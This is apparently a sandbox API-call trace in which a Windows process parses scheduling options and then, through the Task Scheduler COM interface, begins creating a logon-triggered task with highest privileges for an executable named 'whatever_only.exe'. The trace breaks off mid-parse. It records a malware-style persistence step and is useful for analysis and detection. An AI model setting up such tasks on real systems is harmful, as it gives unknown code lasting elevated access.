[0127.128] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.129] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.129] lstrlenW (lpString="|tr|") returned 4 [0127.129] lstrlenW (lpString="|f|") returned 3 [0127.129] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0127.129] SetLastError (dwErrCode=0x490) [0127.129] lstrlenW (lpString="st") returned 2 [0127.129] lstrlenW (lpString="st") returned 2 [0127.129] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.129] lstrlenW (lpString="f") returned 1 [0127.129] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.129] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|st|") returned 4 [0127.129] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.129] lstrlenW (lpString="|st|") returned 4 [0127.129] lstrlenW (lpString="|f|") returned 3 [0127.129] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0127.129] SetLastError (dwErrCode=0x490) [0127.129] lstrlenW (lpString="sd") returned 2 [0127.129] lstrlenW (lpString="sd") returned 2 [0127.129] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.129] lstrlenW (lpString="f") returned 1 [0127.129] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.129] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sd|") returned 4 [0127.129] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.129] lstrlenW (lpString="|sd|") returned 4 [0127.129] lstrlenW (lpString="|f|") returned 3 [0127.129] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0127.129] SetLastError (dwErrCode=0x490) [0127.129] lstrlenW (lpString="ed") returned 2 [0127.129] lstrlenW (lpString="ed") returned 2 [0127.130] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] lstrlenW (lpString="f") returned 1 [0127.130] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ed|") returned 4 [0127.130] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.130] lstrlenW (lpString="|ed|") returned 4 [0127.130] lstrlenW (lpString="|f|") returned 3 [0127.130] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0127.130] SetLastError (dwErrCode=0x490) [0127.130] lstrlenW (lpString="it") returned 2 [0127.130] lstrlenW (lpString="it") returned 2 [0127.130] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] lstrlenW (lpString="f") returned 1 [0127.130] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|it|") returned 4 [0127.130] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.130] lstrlenW (lpString="|it|") returned 4 [0127.130] lstrlenW (lpString="|f|") returned 3 [0127.130] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0127.130] SetLastError (dwErrCode=0x490) [0127.130] lstrlenW (lpString="et") returned 2 [0127.130] lstrlenW (lpString="et") returned 2 [0127.130] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] lstrlenW (lpString="f") returned 1 [0127.130] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.130] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|et|") returned 4 [0127.130] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.131] lstrlenW (lpString="|et|") returned 4 [0127.131] lstrlenW (lpString="|f|") returned 3 [0127.131] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0127.131] SetLastError (dwErrCode=0x490) [0127.131] lstrlenW (lpString="k") returned 1 [0127.131] lstrlenW (lpString="k") returned 1 [0127.131] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.131] lstrlenW (lpString="f") returned 1 [0127.131] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.131] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|k|") returned 3 [0127.131] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.131] lstrlenW (lpString="|k|") returned 3 [0127.131] lstrlenW (lpString="|f|") returned 3 [0127.131] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0127.131] SetLastError (dwErrCode=0x490) [0127.131] lstrlenW (lpString="du") returned 2 [0127.131] lstrlenW (lpString="du") returned 2 [0127.131] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.131] lstrlenW (lpString="f") returned 1 [0127.131] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.131] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|du|") returned 4 [0127.131] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.131] lstrlenW (lpString="|du|") returned 4 [0127.131] lstrlenW (lpString="|f|") returned 3 [0127.131] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0127.132] SetLastError (dwErrCode=0x490) [0127.132] lstrlenW (lpString="ri") returned 2 [0127.132] lstrlenW (lpString="ri") returned 2 [0127.132] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.132] lstrlenW (lpString="f") returned 1 [0127.132] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.132] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ri|") returned 4 [0127.132] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.132] lstrlenW (lpString="|ri|") returned 4 [0127.132] lstrlenW (lpString="|f|") returned 3 [0127.132] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0127.132] SetLastError (dwErrCode=0x490) [0127.132] lstrlenW (lpString="z") returned 1 [0127.133] lstrlenW (lpString="z") returned 1 [0127.133] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.134] lstrlenW (lpString="f") returned 1 [0127.134] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.134] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|z|") returned 3 [0127.134] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.134] lstrlenW (lpString="|z|") returned 3 [0127.134] lstrlenW (lpString="|f|") returned 3 [0127.134] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0127.134] SetLastError (dwErrCode=0x490) [0127.134] lstrlenW (lpString="f") returned 1 [0127.134] lstrlenW (lpString="f") returned 1 [0127.134] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.134] lstrlenW (lpString="f") returned 1 [0127.134] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.134] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.134] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.134] lstrlenW (lpString="|f|") returned 3 [0127.134] lstrlenW (lpString="|f|") returned 3 [0127.134] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0127.134] SetLastError (dwErrCode=0x0) [0127.134] SetLastError (dwErrCode=0x0) [0127.134] GetProcessHeap () returned 0x110000 [0127.134] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd40 [0127.134] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.134] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0127.134] lstrlenW (lpString="LIMITED") returned 7 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d5a0 [0127.135] GetThreadLocale () returned 0x409 [0127.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cd10 [0127.135] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.135] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0127.135] lstrlenW (lpString="HIGHEST") returned 7 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d5c0 [0127.135] GetThreadLocale () returned 0x409 [0127.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cce0 [0127.135] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.135] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0127.135] lstrlenW (lpString="MINUTE") returned 6 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d5e0 [0127.135] GetThreadLocale () returned 0x409 [0127.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0127.135] GetProcessHeap () returned 0x110000 [0127.135] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12ccb0 [0127.135] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.135] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0127.135] lstrlenW (lpString="HOURLY") returned 6 [0127.135] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d600 [0127.136] GetThreadLocale () returned 0x409 [0127.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cc80 [0127.136] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.136] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0127.136] lstrlenW (lpString="DAILY") returned 5 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xc) returned 0x12d620 [0127.136] GetThreadLocale () returned 0x409 [0127.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cc50 [0127.136] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.136] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0127.136] lstrlenW (lpString="WEEKLY") returned 6 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xe) returned 0x12d640 [0127.136] GetThreadLocale () returned 0x409 [0127.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cc20 [0127.136] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.136] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0127.136] lstrlenW (lpString="MONTHLY") returned 7 [0127.136] GetProcessHeap () returned 0x110000 [0127.136] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d660 [0127.136] GetThreadLocale () returned 0x409 [0127.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0127.137] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.137] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0127.137] lstrlenW (lpString="ONCE") returned 4 [0127.137] GetProcessHeap () returned 0x110000 [0127.137] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xa) returned 0x12d680 [0127.137] GetThreadLocale () returned 0x409 [0127.137] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0127.137] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.137] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0127.137] lstrlenW (lpString="ONSTART") returned 7 [0127.137] GetThreadLocale () returned 0x409 [0127.137] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0127.137] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.137] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0127.137] lstrlenW (lpString="ONLOGON") returned 7 [0127.137] GetThreadLocale () returned 0x409 [0127.137] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0127.137] SetLastError (dwErrCode=0x0) [0127.137] GetProcessHeap () returned 0x110000 [0127.137] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x1fc) returned 0x12c2e0 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.138] lstrlenW (lpString="First") returned 5 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.138] lstrlenW (lpString="Second") returned 6 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.138] lstrlenW (lpString="Third") returned 5 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.138] lstrlenW (lpString="Fourth") returned 6 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.138] lstrlenW (lpString="Last") returned 4 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.138] lstrlenW (lpString="First") returned 5 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.138] lstrlenW (lpString="Second") returned 6 [0127.138] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.138] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.139] lstrlenW (lpString="Third") returned 5 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d680) returned 1 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d680) returned 0xa [0127.139] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d680 | out: hHeap=0x110000) returned 1 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0xc) returned 0x12d680 [0127.139] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.139] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.139] lstrlenW (lpString="Fourth") returned 6 [0127.139] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.139] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.139] lstrlenW (lpString="Last") returned 4 [0127.139] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc700, cchData=128 | out: lpLCData="0") returned 2 [0127.139] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.139] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.139] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] GetProcessHeap () returned 0x110000 [0127.139] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5a0) returned 1 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d5a0) returned 0x10 [0127.140] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5a0 | out: hHeap=0x110000) returned 1 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d5a0 [0127.140] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc720, cchData=128 | out: lpLCData="0") returned 2 [0127.140] _memicmp (_Buf1=0x12bab0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.140] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x12d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.140] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5c0) returned 1 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d5c0) returned 0x10 [0127.140] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d5c0 | out: hHeap=0x110000) returned 1 [0127.140] GetProcessHeap () returned 0x110000 [0127.140] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d5c0 [0127.140] GetLocalTime (in: lpSystemTime=0xfc950 | out: lpSystemTime=0xfc950*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x33, wMilliseconds=0x2f9)) [0127.153] GetLocalTime (in: lpSystemTime=0xfd208 | out: lpSystemTime=0xfd208*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x33, wMilliseconds=0x2f9)) [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] lstrlenW (lpString="") returned 0 [0127.153] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0127.201] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0127.431] CoCreateInstance (in: rclsid=0xffc81ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc81ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfcfd0 | out: ppv=0xfcfd0*=0x3b7aa0) returned 0x0 [0128.122] TaskScheduler:ITaskService:Connect (This=0x3b7aa0, serverName=0xfd0b0*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfd090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0128.164] TaskScheduler:IUnknown:AddRef (This=0x3b7aa0) returned 0x2 [0128.164] TaskScheduler:ITaskService:GetFolder (in: This=0x3b7aa0, Path=0x0, ppFolder=0xfd168 | out: ppFolder=0xfd168*=0x3b7c90) returned 0x0 [0128.167] TaskScheduler:ITaskService:NewTask (in: This=0x3b7aa0, flags=0x0, ppDefinition=0xfd160 | out: ppDefinition=0xfd160*=0x3b7ce0) returned 0x0 [0128.168] ITaskDefinition:get_Actions (in: This=0x3b7ce0, ppActions=0xfd0e0 | out: ppActions=0xfd0e0*=0x3b7da0) returned 0x0 [0128.168] IActionCollection:Create (in: This=0x3b7da0, Type=0, ppAction=0xfd100 | out: ppAction=0xfd100*=0x3b6110) returned 0x0 [0128.168] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.168] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.168] lstrlenW (lpString=" ") returned 1 [0128.168] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.168] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x5f) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0128.169] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 